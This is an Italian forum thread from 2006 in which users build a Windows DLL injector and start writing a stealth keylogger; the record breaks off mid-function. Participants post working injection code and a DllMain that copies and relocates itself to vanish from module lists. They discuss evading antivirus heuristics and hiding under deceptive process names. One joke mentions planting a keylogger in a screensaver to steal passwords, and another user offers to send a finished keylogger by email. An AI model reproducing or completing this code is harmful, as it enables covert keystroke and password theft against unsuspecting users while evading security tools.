Process Name: svchost.exe Process ID: 1100
Process Name: svchost.exe Process ID: 1140
Process Name: Smc.exe Process ID: 1224
Process Name: svchost.exe Process ID: 1316
Process Name: svchost.exe Process ID: 1348
Process Name: spoolsv.exe Process ID: 1484
Process Name: sched.exe Process ID: 1608
Process Name: avguard.exe Process ID: 1620
Process Name: svchost.exe Process ID: 1804
Process Name: wdfmgr.exe Process ID: 1824
Process Name: alg.exe Process ID: 2768
Process Name: svchost.exe Process ID: 2964
Process Name: ati2evxx.exe Process ID: 3228
Process Name: explorer.exe Process ID: 3420
Process Name: PDVDServ.exe Process ID: 3736
Process Name: PSM.exe Process ID: 3748
Process Name: SoundMan.exe Process ID: 3780
Process Name: ALCWZRD.EXE Process ID: 3792
Process Name: jusched.exe Process ID: 3800
Process Name: realsched.exe Process ID: 3816
Process Name: Babylon.exe Process ID: 3880
Process Name: avgnt.exe Process ID: 3888
Process Name: Glass2k.exe Process ID: 3896
Process Name: LClock.exe Process ID: 3916
Process Name: ctfmon.exe Process ID: 3924
Process Name: ApacheMonitor.exe Process ID: 4032
Process Name: MDM.EXE Process ID: 1820
Process Name: Monitor.exe Process ID: 804
Process Name: svchost.exe Process ID: 3584
Process Name: wmplayer.exe Process ID: 4040
FOUND!!
Process Name: zDCPlusPlus.exe Process ID: 1912
Process Name: iexplore.exe Process ID: 2592
Process Name: iexplore.exe Process ID: 3272
Process Name: DllInjector.exe Process ID: 964

Creati 7 bytes all' indirizzo 0x15c0000

Injection eseguita

:read:

-fidel-
17-10-2006, 17:15
veramente l'entry point non è tra le funzioni esportate... verifica tu stesso con PEView (http://www.magma.ca/~wjr/PEview.zip) o con Dependency Walker su una qualsiasi DLL.

Se hai letto bene il mio post, dicevo che non è necessario dichiarare il main della DLL con __declspec(dllexport), dal momento che il main viene chiamato SEMPRE al caricamento della DLL (e quando un nuovo thread accede alla DLL) e al suo scaricamento. "Tecnicamente" non viene esportato, ma volevo far capire chiaramente che l'entry point è sempre raggiungibile automaticamente da un processo chiamante.

71104
17-10-2006, 17:16
Looking for: wmplayer.exe

[...]

Injection eseguita quindi il problema è nelle opzioni di compilazione della DLL: ti sei scordato di settare il nome dell'entry point :Prrr: :Prrr: :Prrr: :sofico:

71104
17-10-2006, 17:17
"Tecnicamente" non viene esportato, ma volevo far capire chiaramente che l'entry point è sempre raggiungibile automaticamente da un processo chiamante. :Prrr:

mamo139
17-10-2006, 17:19
quindi il problema è nelle opzioni di compilazione della DLL: ti sei scordato di settare il nome dell'entry point :Prrr: :Prrr: :Prrr: :sofico:

questo è il codice della mia dll modificato come mi ha detto fidel... qnd che altre modifiche devo fare?? :mc:
#include <windows.h>

BOOL APIENTRY DllMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH: {/* operazioni di inizializzazione della dll */

system("c:\\programmi\\internet explorer\\iexplore.exe");
system("pause");
MessageBox(0, "Codice eseguito!!!!", "DLL Loaded", MB_OK); return TRUE;

}
case DLL_PROCESS_DETACH: /* operazioni di rilascio della dll */
break;
}
return TRUE;
}

-fidel-
17-10-2006, 17:22
Ok, ora va.
Ho notato che, nel programma di iniezione, carichi la dll così:


thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);


Ma ti sei chiesto DOVE il processo "vittima" cercherà la DLL?
Ho visto che nel nome della dll ("dll.dll") NON specifichi la posizione assoluta della libreria, quindi Windows andrà a cercare tale dll nella cartella di Windows (ed anche nella cartella system32 se non erro) e nella cartella di lavoro del processo vittima (e non del tuo programma!).
Quindi devi:

- Specificare il percorso completo della DLL nel nome
oppure
- Copiare la tua DLL ad esempio nella catella C:\WINDOWS se non vuoi specificare il path assoluto (se non lo specifichi, come detto prima, Windows cerca la DLL nei path predefiniti).

EDIT: Esempi:
1)
- Compila la dll, rinominala con il nome "miadll.dll", e copiala in C:
- nel codice del programma di iniezione, metti:
char dllName[]="C:\\miadll.dll";
2)
- Compila la dll, rinominala con il nome "miadll.dll", e copiala in C:\WINDOWS
- nel codice del programma di iniezione, metti:
char dllName[]="miadll.dll"; // Che è come adesso, a meno del nome ;)

mamo139
17-10-2006, 17:27
ok l'ho messa in c:\windows... ho lanciato DllInjector.exe ma nn è successo niente a parte il fatto che se provo a cancellarla mi dice che è in uso... qnd direi che sia stata caricata ma che nn vengono eseguiti i comandi al suo interno :muro:

71104
17-10-2006, 17:28
Bene, ti sei risposto da solo :) Se quelli sono leaks... Appena il programma di injection termina, tutti i files descriptors vengono chiusi, la memoria liberata, è ovvio che funziona tutto anche così, ma vale la mia affermazione iniziale: fa schifo. è una pratica di programmazione che può reggere solo per programmi talmente semplici da essere costituiti da un'unica funzione e da necessitare di girare per pochi attimi.

mentre per quanto riguarda la VirtualAllocEx, il buffer deve restare allocato nello spazio di memoria del processo "vittima" per fargli caricare la dll (al massimo può essere liberato quando tutto è finito, ma quei pochi bytes verranno comunque liberati alla chiusura del processo "vittima". nella lotta tra il bene e il male in informatica non vince il bene, vince chi fa le cose in maniera più pulita e silenziosa. un'intera pagina di memoria tutta nulla contenente solo il nome di una DLL è un "rumore": segno diretto di DLL injection per l'euristica di un antivirus. in generale (come dicevo in un altro topic nelle News) i virus sono sempre scritti da far cagare perché gli autori, delle apparenti schiappe, vengono pagati dalle software houses che producono antivirus per scriverli, e quindi devono scrivere programmetti idioti che siano facilmente "defeatable". questo descrive la generale linea di tendenza della pessima qualità del codice dei virus.

ora scusami se apro un caso su una cazzata, ma spesso mi diverto a far luce sulle ipocrisie.

71104
17-10-2006, 17:32
questo è il codice della mia dll modificato come mi ha detto fidel... qnd che altre modifiche devo fare?? :mc: nessuna: ora che hai usato il nome di default per l'entry point dovrebbe riconoscerlo automaticamente.

mamo139
17-10-2006, 17:35
ok l'ho messa in c:\windows... ho lanciato DllInjector.exe ma nn è successo niente a parte il fatto che se provo a cancellarla mi dice che è in uso... qnd direi che sia stata caricata ma che nn vengono eseguiti i comandi al suo interno :muro:
no continua a succedere quello che ho appena scritto... :confused:

-fidel-
17-10-2006, 17:54
no continua a succedere quello che ho appena scritto... :confused:

prova con un altro processo (tipo "notepad.exe" o "calc.exe").

mamo139
17-10-2006, 17:59
provato... e succede la stessa cosa... nn posso cancellarlo ma nn mi apre quel MessageBox...
ma a te funziona?? :rolleyes:

-fidel-
17-10-2006, 18:14
è ovvio che funziona tutto anche così, ma vale la mia affermazione iniziale: fa schifo. è una pratica di programmazione che può reggere solo per programmi talmente semplici da essere costituiti da un'unica funzione e da necessitare di girare per pochi attimi.

nella lotta tra il bene e il male in informatica non vince il bene, vince chi fa le cose in maniera più pulita e silenziosa. un'intera pagina di memoria tutta nulla contenente solo il nome di una DLL è un "rumore": segno diretto di DLL injection per l'euristica di un antivirus. in generale (come dicevo in un altro topic nelle News) i virus sono sempre scritti da far cagare perché gli autori, delle apparenti schiappe, vengono pagati dalle software houses che producono antivirus per scriverli, e quindi devono scrivere programmetti idioti che siano facilmente "defeatable". questo descrive la generale linea di tendenza della pessima qualità del codice dei virus.

ora scusami se apro un caso su una cazzata, ma spesso mi diverto a far luce sulle ipocrisie.

Certo, e te lo dice uno che è superscrupoloso sui memory leaks ed altro. Il fatto è che su programmi (come quello postato prima) non ha troppo senso essere paranoici sul chiudere tutti i filedescriptors ecc.se un attimo dopo fai una return: inoltre, quel programma gira per meno di un secondo. Ha invece senso stare molto attenti sui programmi che girano per molto tempo (come i servizi o demoni o server, ecc.). Ok la buona prassi, però senza esagerare troppo, l'importante è rendersi subito conto, in presenza di un programma che gira per pochi attimi, se qualcosa può portare a memory leaks o altro: insomma, è una scelta ragionata quella di non chiudere un file descriptor ad esempio (se so perfettamente che vrrà chiuso comunque).
Ti do' invece ragione sulla VirtualAllocEx (più che altro come traccia per un programma che si occpua di rintracciare le dll injection, anche se è una traccia difficile da trovare).

EDIT: Dimenticavo, di solito con programmi "maligni" si cerca di far chiudere il più possibile le risorse al SO, invece da specificare tutto "a mano", così da risparmiare istruzioni e rendere l'eseguibile finale più piccolo. Come dicevo prima, una prassi ragionata.
Per me quel codice non fa schifo, anzi, a parte il dettaglio della VitualAllocEx non lascia alcuna traccia, proprio perchè è voluto (perchè sarebbe inutile fare tutto a mano, soprattutto come detto prima in presenza di un codice che deve essere il più compatto possibile, ma senza fare cazzate).

-fidel-
17-10-2006, 18:15
provato... e succede la stessa cosa... nn posso cancellarlo ma nn mi apre quel MessageBox...
ma a te funziona?? :rolleyes:

Prova a togliere le due system().
Sì, a me funziona, su WinXP SP2, compilato con Visual Studio .NET 2003

EDIT: Ah, sto specificando il percorso assoluto della DLL nel programma di inezione (vedi l'esempio numero 1 di un mio precedente post)

mamo139
17-10-2006, 18:22
ma che strano.... :rolleyes:
fin ora compilavo con devc++ e nn andava niente...
ora che ho provato con Microsoft Visual C++ 6.0 va alla perfezione... :mbe:

vabbè cmq grazie mille a tutti e due :p

-fidel-
17-10-2006, 18:27
ma che strano.... :rolleyes:
fin ora compilavo con devc++ e nn andava niente...
ora che ho provato con Microsoft Visual C++ 6.0 va alla perfezione... :mbe:

vabbè cmq grazie mille a tutti e due :p

Prego :) Ah, se vuoi lanciare un eseguibile con la system(), NON usare i nomi lunghi per le directories. Infatti, per lanciare iexplore.exe ad esempio, ho dovuto cambiare il path nella system in questo modo:

system("C:\PROGRA~1\INTERN~1\iexplore.exe");

71104
17-10-2006, 19:23
Ti do' invece ragione sulla VirtualAllocEx (più che altro come traccia per un programma che si occpua di rintracciare le dll injection, anche se è una traccia difficile da trovare). difficile? tu lo trovi strano un antivirus che per detectare segni di DLL injection looppa su VirtualQueryEx finché non trova una pagina singola completamente nulla e con un nome di file all'inizio? a me sembra un'ottima strategia, c'è un'ottima probabilità di beccarlo (ma solo perché la pagina non è stata deallocata prima della scansione).

assumendo l'esistenza di un antivirus che in un momento arbitrario dopo l'injection scanna tutta la mappa della memoria virtuale di un processo vittima, facciamo un attimo di confronto tra due virus, uno scemo e uno furbo.

quello scemo non esegue mai VirtualFree o VirtualFreeEx, e il suo nome rimane lì bellamente in chiaro fino alla terminazione. quello furbo non solo cancella il nome, ma usa anche qualche trucchetto simile a quello del driver descritto precedentemente (alloca un'area di memoria dove si ricopia e riloca, e ritorna FALSE nella DllMain; ma non prima di aver richiamato la copia in un nuovo thread).

il risultato è ovvio, quello scemo viene sgamato subito, mentre per quanto riguarda quello furbo... amen: ormai non c'è più modo di sgamarlo, dovevi riuscirci durante l'injection, ora è diventato solo un'anonima area di memoria.

e ora una breve analisi sui vantaggi e svantaggi, da parte dell'antivirus, di usare VirtualQueryEx in cerca di filenames: supponi che l'antivirus debba trovare un virus furbo che si è ricopiato in memoria ed è uscito da DllMain con FALSE, scordandosi però di cancellare il nome del file. non appena l'antivirus sgama il nome del file, conosce automaticamente la DLL da mettere in quarantena, esaminare più attentamente, ed eventualmente far fuori. se invece l'antivirus non usasse questa tecnica gli risulterebbe difficile trovare una DLL clandestina che ormai non può più essere enumerata da PSAPI.

EDIT: Dimenticavo, di solito con programmi "maligni" si cerca di far chiudere il più possibile le risorse al SO, invece da specificare tutto "a mano", così da risparmiare istruzioni e rendere l'eseguibile finale più piccolo. Come dicevo prima, una prassi ragionata. questo discorso ha senso solo se stai sfondando il bound di section alignment di pochi bytes; statisticamente raro, non vale la pena di ragionare in funzione di ciò.

71104
17-10-2006, 19:30
a proposito:
PS: "inutile liberare memoria e handles, tanto ci pensa il sistema operativo alla chiusura del processo"? che culo, magari sapessi programmare così bene... -.-' sappi che non tutti gli handles vengono liberati automaticamente alla terminazione del processo, quelli User e GDI per esempio rimangono causando errori grafici a distanza, con un classico utonto che ne attribuisce la colpa a Windows.

mamo139
17-10-2006, 19:44
quindi per migliorare il programma alla fine dovrei usare VirtualFree()??

va bene così?? avrò sicuramente sbagliato qualcosa :p

HANDLE proc, thread;
DWORD threadId, bWritten;
BOOL check;
VOID *remoteBuff;
DWORD pid;
FILE *fp;

fp = fopen(logFile, "w");
fprintf(fp, "Looking for: %s\n\n", processName);

pid = trovaPid(processName, fp);

if(pid == 0xFFFFFFFF){
fprintf(fp, "\nProcess not found\n");
return 0;
}

check = abilitaSeDebugName(fp);
if (check == 0){
fprintf(fp, "\nAbilitazione privilegio SE_DEBUG_NAME fallita\n");
}

proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL){
fprintf(fp, "Errore OpenProcess() %d\n", GetLastError());
return -1;
}

remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteBuff == NULL){
fprintf(fp, "Errore VirtualAllocEx() %d\n", GetLastError());
return -1;
}
else
fprintf(fp, "\nCreati %d bytes all' indirizzo 0x%x\n", strlen(dllName), (ULONG)remoteBuff);

check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
if (check == 0){
fprintf(fp, "Errore WriteProcessMemory() %d\n", GetLastError());
return -1;
}

thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
if (thread == NULL)
fprintf(fp, "Errore CreateRemoteThread() %d\n", GetLastError());

fprintf(fp, "\nInjection eseguita\n");
fclose(fp);

VirtualFreeEx(proc, remoteBuff, strlen(dllName), MEM_RELEASE );

71104
17-10-2006, 23:13
non è solo quello, comunque prima di fare VirtualFreeEx devi attendere che il thread sia terminato. se nella DllMain hai da fare un lavoro lungo allora è meglio creare un altro thread nel processo target (cioè, all'interno di DllMain fai una CreateThread).

-fidel-
18-10-2006, 08:08
questo discorso ha senso solo se stai sfondando il bound di section alignment di pochi bytes; statisticamente raro, non vale la pena di ragionare in funzione di ciò.

Non direi, prova a compilare (in versione release) il programma con le istruzioni di rilascio e poi senza, e vedi la differenza in termini di Kbytes (del codice di iniezione).
Per gli handles GDI lo sapevo, ma lì di tali handles non ve n'era traccia ;)

-fidel-
18-10-2006, 08:16
quindi per migliorare il programma alla fine dovrei usare VirtualFree()??

va bene così?? avrò sicuramente sbagliato qualcosa :p

Attento, nel codice originario NON si liberava il buffer contenente il nome della DLL proprio per non rischiare che il nome della dll diventasse irraggiungibile dal processo vittima prima che il suo thread (lanciato da te con CreateRemoteThread) termini. Con 71104 si parlava proprio di affinare il meccanismo liberando anche quella memoria (tutto il resto viene già liberato in automatico). Se vuoi semplificarti la vita (senza la necessità di sincronizzare il tuo programma con la terminazione del thread remoto), puoi semplicemente fare una sleep per il tempo necessario al completamento del thread remoto (cerca di fare una statistica del tempo di esecuzione medio di quel thread) e po liberi la memoria. Ti basta fare qualche prova per trovare un buon valore per la sleep: quindi farai ad esempio:


sleep(1000); // Attendo 1 secondo
VirtualFreeEx(proc, remoteBuff, strlen(dllName), MEM_RELEASE ); // Rilascio...


Prova anche con tempi minori, 1 secondo è già molto, a meno che nell'entry point della DLL non ci metti una marea di istruzioni: sappi solo che, una volta caricata, il nome della dll non serve più al processo "vittima".

SerMagnus
18-10-2006, 09:32
secondo me il rallentamento del sistema non è un problema (basta avere l'accortezza di usare I/O asincrono durante la scrittura del log); ciò che è importante considerare nella creazione di un keylogger è il tipo di target: se si tratta di un classico utonto che sa solo usare Messenger allora è anche sufficiente un eseguibile che usa LowLevelKeyboard e che si chiami " explorer.exe" (con uno spazio iniziale) o qualche altro nome ingannevole, ma se abbiamo a che fare con un fior di amministratore di sistema allora qui ci serve un driver che alloca un'area di memoria su cui scrive il vero codice e poi fallisce il caricamento ritornando uno errore dalla DriverEntry; il driver non apparirà come caricato, e nel frattempo il codice allocato "clandestinamente" può installarsi come Keyboard Filter.


che figata!!! dove posso reperire materiale a riguardo :D

71104
18-10-2006, 10:20
che figata!!! dove posso reperire materiale a riguardo :D MSDN, come al solito. un esempio già fatto non lo troverai mai.

71104
18-10-2006, 10:21
Non direi, prova a compilare (in versione release) il programma con le istruzioni di rilascio e poi senza, e vedi la differenza in termini di Kbytes (del codice di iniezione). nessuna :asd:
no scherzo, non ho manco provato :D
proverò nel pomeriggio, ma penso proprio che non ci sarà nessuna differenza...

71104
18-10-2006, 10:22
Se vuoi semplificarti la vita (senza la necessità di sincronizzare il tuo programma con la terminazione del thread remoto), puoi semplicemente fare una sleep per il tempo necessario al completamento del thread remoto (cerca di fare una statistica del tempo di esecuzione medio di quel thread) e po liberi la memoria. Ti basta fare qualche prova per trovare un buon valore per la sleep: quindi farai ad esempio: AAAAARGH ma che schifoooooo!! :mc: :mc:
ma perché fare una cagata simile quando è sufficiente una WaitForSingleObject sull'handle del thread?? :mc: :mc:

-fidel-
18-10-2006, 16:15
AAAAARGH ma che schifoooooo!! :mc: :mc:
ma perché fare una cagata simile quando è sufficiente una WaitForSingleObject sull'handle del thread?? :mc: :mc:

Semplicemente non volevo aggiungere altra carne al fuoco... Ma tutto gli devi dire? Fai ragionare anche lui, magari ci arrivava da solo............. ;)

mamo139
18-10-2006, 16:23
Semplicemente non volevo aggiungere altra carne al fuoco... Ma tutto gli devi dire? Fai ragionare anche lui, magari ci arrivava da solo............. ;)
grazie per la fiducia :D :D

cmq mi sorge spontanea una domanda: nel caso del keylogger fare una dll injection risulta utile perche poi non appare nella lista dei processi il keylogger...
ma il keylogger deve rimanere in funzione sempre... quindi a cosa serve cancellare la memoria alla fine?? :rolleyes:
io credevo che si potesse cancellare subito dopo aver lanciato la dll... ma se nn si puo nn è inutile lasciare "acceso" l'exe fino alla fine??

71104
18-10-2006, 17:36
cmq mi sorge spontanea una domanda: nel caso del keylogger fare una dll injection risulta utile perche poi non appare nella lista dei processi il keylogger... ma appare comunque nella lista delle DLL del processo vittima se qualche programma è in grado di farla (ed esiste modo di farla); ecco perché sostengo che sia meglio, all'interno della DllMain, allocare una nuova area di memoria, ricopiare tutto, creare un nuovo thread ed uscire direttamente dalla DllMain con FALSE.

ma il keylogger deve rimanere in funzione sempre... quindi a cosa serve cancellare la memoria alla fine?? :rolleyes: ... :mc: :doh:

quando dicevamo della VirtualFreeEx non parlavamo di memoria allocata dal keylogger (cioè dalla DLL), ma dall'eseguibile; e devi cancellarla per non lasciare tracce. ma anche se fosse memoria allocata dal keylogger il discorso che fai è assurdo: pensa che succede se fai una malloc senza una corrispondente free ad ogni pressione di un tasto... :rolleyes:

così non lo aiuti di certo il povero Windows col suo (devo dire) eccellenterrimo algoritmo di swap... :asd:

io credevo che si potesse cancellare subito dopo aver lanciato la dll... ma se nn si puo nn è inutile lasciare "acceso" l'exe fino alla fine?? infatti quel programma che hai te non va bene: te l'avevo detto che faceva schifo. non è all'interno della DllMain che devi svolgere tutto il lavoro di logging dei tasti, bensì all'interno di un nuovo thread creato con CreateThread semplice nella DllMain.

mamo139
18-10-2006, 17:51
ok... in teoria ora ci sono... :cool:
ma in pratica no... :p
mi potresti fare un esempietto che mi fa vedere come svolgere tutto il lavoro all'interno di un nuovo thread creato con CreateThread???
basta anche solo una funzione che mi fa comparire un alert... sono per capire... :D

71104
18-10-2006, 18:02
nessuna :asd: infatti :asd:

ho compilato il programma con e senza le istruzioni di deallocazione. la sezione di testo è grossa 0x00001400 in entrambi i casi e, come avrai potuto notare, è cifra tonda... :Prrr:

allego il main da me modificato:

int main(int argc, char **argv){
char processName[] = "wmplayer.exe"; /* Nome processo su cui effettuare injection */
char logFile[]= "log.txt"; /* Nome del file di log per controllare successo o fallimento operazioni */
char dllName[]="dll.dll"; /* Nome dll da cui prelevare il codice da iniettare */

HANDLE proc, thread;
DWORD threadId, bWritten;
BOOL check;
VOID *remoteBuff;
DWORD pid;
FILE *fp;

fp = fopen(logFile, "w");
fprintf(fp, "Looking for: %s\n\n", processName);

pid = trovaPid(processName, fp);

if(pid == 0xFFFFFFFF){
fprintf(fp, "\nProcess not found\n");
fclose(fp);
return 0;
}

check = abilitaSeDebugName(fp);
if (check == 0){
fprintf(fp, "\nAbilitazione privilegio SE_DEBUG_NAME fallita\n");
}

proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL){
fprintf(fp, "Errore OpenProcess() %d\n", GetLastError());
fclose(fp);
return -1;
}

remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_COMMIT, PAGE_READONLY);
if (remoteBuff == NULL){
fprintf(fp, "Errore VirtualAllocEx() %d\n", GetLastError());
CloseHandle(proc);
fclose(fp);
return -1;
}
else
fprintf(fp, "\nCreati %d bytes all' indirizzo 0x%x\n", strlen(dllName), (ULONG)remoteBuff);

check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
if (check == 0){
fprintf(fp, "Errore WriteProcessMemory() %d\n", GetLastError());
VirtualFreeEx(proc, remoteBuff, 0, MEM_RELEASE);
CloseHandle(proc);
fclose(fp);
return -1;
}

thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
if (thread == NULL)
fprintf(fp, "Errore CreateRemoteThread() %d\n", GetLastError());
else
WaitForSingleObject(thread, INFINITE);

fprintf(fp, "\nInjection eseguita\n");

VirtualFreeEx(proc, remoteBuff, 0, MEM_RELEASE);
CloseHandle(thread);
CloseHandle(proc);
fclose(fp);
return 0;
}

che però fa ancora schifo :|

-fidel-
18-10-2006, 18:02
infatti quel programma che hai te non va bene: te l'avevo detto che faceva schifo. non è all'interno della DllMain che devi svolgere tutto il lavoro di logging dei tasti, bensì all'interno di un nuovo thread creato con CreateThread semplice nella DllMain.

Occhio ad una cosa: il codice di injection va bene, non fa schifo come continui a sostenere (:)), al massimo ci aggiungi la VirtualFreeEx appena il processo vittima ha caricato la DLL.
Qui il problema diventa la DLL iniettata (il codice della quale Mamo neanche l'ha scritto, a meno della MessageBox). Si può installare un Keyboard Hook globale in diversi modi, quello che suggerisci è il migliore, ma presuppone che le istruzioni del thread sia uno shellcode (quindi già in codice macchina).
Questo comunque è un problema separato dal codice di iniezione che, ripeto, va bene.

71104
18-10-2006, 18:06
Si può installare un Keyboard Hook globale in diversi modi, quello che suggerisci è il migliore, ma presuppone che le istruzioni del thread sia uno shellcode (quindi già in codice macchina). ma perché...? puoi scriverlo tranquillamente in C eh...

-fidel-
18-10-2006, 18:09
ma perché...? puoi scriverlo tranquillamente in C eh...

Ah, e come? Io l'ho sempre fatto con lo shellcode :confused:

71104
18-10-2006, 18:10
ok... in teoria ora ci sono... :cool:
ma in pratica no... :p
mi potresti fare un esempietto che mi fa vedere come svolgere tutto il lavoro all'interno di un nuovo thread creato con CreateThread???
basta anche solo una funzione che mi fa comparire un alert... sono per capire... :D aaaaaaaaaaallora... adesso facciamo una cosa: SCRIVO UN KEYLOGGER :D :D :D

così vi mostrerò il mio ideale di virus e in più avrò una bella bestia di keylogger da piazzare nelle risorse di uno screensaver e installare a tradimento sui computer di quelli di cui voglio sapere le passwords :PPPP

DISCLAIMER: scherzo :asd: però il keylogger lo faccio davvero :D :D :D

71104
18-10-2006, 18:11
Ah, e come? Io l'ho sempre fallo con lo shellcode :confused: scusa ma non ho mica capito la ragione per la quale dovresti farne uno shellcode... :huh:
non stai mica scrivendo un exploit da buffer overflow, hai un modulo PE completo e funzionante... devi solo creare un thread con CreateThread e passargli come entry point una tua funzione con un determinato prototipo...

71104
18-10-2006, 18:14
aaaaaaaaaaallora... adesso facciamo una cosa: SCRIVO UN KEYLOGGER :D :D :D rettifica: ho da fare :mc:
forse lo faccio dopo cena ^^

-fidel-
18-10-2006, 18:15
Spe, io faccio così:

1) Inietto la DLL
2) Quando la DLL viene caricata, nel DllMain:
2.a) Alloco una zona di memoria (nel processo vittima quindi)
2.b) Copio il codice del thread precompilato (quindi uno shellcode)
2.c) Lancio in DllMain un nuovo thread (quindi è come se il thread lo lancia il processo vittima) fornendogli come codice l'handle alla zona di memoria al passo 2.b)
3) Chiudo la Dll ritornando FALSE

Tu invece proponi diversamente?

-fidel-
18-10-2006, 18:15
rettifica: ho da fare :mc:
forse lo faccio dopo cena ^^

Non preoccuparti, al massimo ce l'ho già pronto io :)

mamo139
18-10-2006, 18:35
rettifica: ho da fare :mc:
forse lo faccio dopo cena ^^
:D :D :D :D

beh... allora aspetto :p

-fidel-
18-10-2006, 18:54
:D :D :D :D

beh... allora aspetto :p

Ma davvero vuoi il codice di un keylogger da caricare con DLL injection? Io ce l'ho già fatto, ma credo che poi ti rovino tutto lo studio...

mamo139
18-10-2006, 19:08
Ma davvero vuoi il codice di un keylogger da caricare con DLL injection? Io ce l'ho già fatto, ma credo che poi ti rovino tutto lo studio...
boh... se ti va di inviarmelo mi fai un favore... così me lo guardo e poi provo a rifarmelo... :p
provo a riscriverlo ad immagine e somiglianza :D

mamo139
18-10-2006, 19:20
ah scusa dimenticavo...
se preferisci mandarmelo via mail la mia mail è mamo139 [@] tiscali.it

grazie ancora :)

mamo139
19-10-2006, 13:34
up... cmq ora ho iniziato la costruzione del mio :D

-fidel-
19-10-2006, 16:01
up... cmq ora ho iniziato la costruzione del mio :D

Giacché mi trovo, lo sto migliorando :) Sto inserendo una simpatica funzionalità, cioè loggare non solo i caratteri premuti, ma anche in quale programma si sta scrivendo. In questo modo risulta molto più utile...
Vedo se riesco a implementare questa funzionalità in giornata (il tempo è tiranno per me...) altrimenti te lo mando lo stesso in versione originale.

71104
19-10-2006, 16:54
io ho iniziato il mio :p

#define _WIN32_WINNT (0x0500)
#include <windows.h>


BOOL CopyAndRelocate(PVOID pImageBase);

DWORD APIENTRY ThreadEntry(PVOID pImage);
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);


DWORD dwDummy;
HANDLE hLogFile;
HHOOK hhkKeyboard;
BOOL fShiftDown = FALSE;


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, PVOID pReserved) {
switch (fdwReason) {
#ifdef _DEBUG
HANDLE hThread;
#endif
case DLL_PROCESS_ATTACH:
#ifdef _DEBUG
hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)ThreadEntry, (PVOID)hinstDLL, 0, &dwDummy);
if (!hThread) {
return FALSE;
}
CloseHandle(hThread);
break;
#else
__try {
LoadLibrary(TEXT("KERNEL32.DLL"));
LoadLibrary(TEXT("USER32.DLL"));
return !CopyAndRelocate((PVOID)hinstDLL);
}
__except (1) {
/* silent exception filter */
return TRUE;
}
return FALSE;
#endif
}
return TRUE;
}

BOOL CopyAndRelocate(PVOID pImageBase) {
UINT u;

PIMAGE_NT_HEADERS pinth;
DWORD dwVirtualImageSize;
PIMAGE_SECTION_HEADER pSecHdrs;
PVOID pNewImage;
DWORD dwDelta;
HANDLE hThread;

pinth = (PIMAGE_NT_HEADERS)((DWORD)pImageBase + *(PDWORD)((DWORD)pImageBase + 0x3C));
pSecHdrs = (PIMAGE_SECTION_HEADER)((DWORD)pinth + sizeof(IMAGE_NT_HEADERS));

dwVirtualImageSize = 0;
for (u = 0; u < pinth->FileHeader.NumberOfSections; u++) {
DWORD dwCurMax = pSecHdrs[u].VirtualAddress + pSecHdrs[u].Misc.VirtualSize;
if (dwCurMax > dwVirtualImageSize) {
dwVirtualImageSize = dwCurMax;
}
}

pNewImage = VirtualAlloc(NULL, dwVirtualImageSize, MEM_COMMIT, PAGE_READWRITE);
if (!pNewImage) {
return FALSE;
}

for (u = 0; u < pinth->FileHeader.NumberOfSections; u++) {
CopyMemory((PBYTE)pNewImage + pSecHdrs[u].VirtualAddress, (PBYTE)pImageBase + pSecHdrs[u].VirtualAddress, pSecHdrs[u].Misc.VirtualSize);
}

dwDelta = (DWORD)pNewImage - (DWORD)pImageBase;
if (pinth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) {
PIMAGE_BASE_RELOCATION pBaseReloc;
DWORD dwBaseRelocSize;

pBaseReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pNewImage + pinth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
dwBaseRelocSize = pinth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

while (dwBaseRelocSize) {
UINT uFixupCount;

uFixupCount = (pBaseReloc->SizeOfBlock - (sizeof(IMAGE_BASE_RELOCATION) - sizeof(WORD))) / sizeof(WORD);
for (u = 0; u < uFixupCount; u++) {
PVOID pFixupLocation = (PBYTE)pNewImage + pBaseReloc->VirtualAddress + (pBaseReloc->TypeOffset[u] & 0x0FFF);
switch (pBaseReloc->TypeOffset[u] >> 12) {
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_HIGH:
*(PWORD)pFixupLocation += HIWORD(dwDelta);
break;
case IMAGE_REL_BASED_LOW:
*(PWORD)pFixupLocation += LOWORD(dwDelta);
break;
case IMAGE_REL_BASED_HIGHLOW:
*(PDWORD)pFixupLocation += dwDelta;
break;
default:
VirtualFree(pNewImage, 0, MEM_RELEASE);
return FALSE;
}
}

dwBaseRelocSize -= pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pBaseReloc + pBaseReloc->SizeOfBlock);
}
}

for (u = 0; u < pinth->FileHeader.NumberOfSections; u++) {
if ((IMAGE_SCN_MEM_DISCARDABLE != (pSecHdrs[u].Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) && (IMAGE_SCN_MEM_WRITE != (pSecHdrs[u].Characteristics & IMAGE_SCN_MEM_WRITE))) {
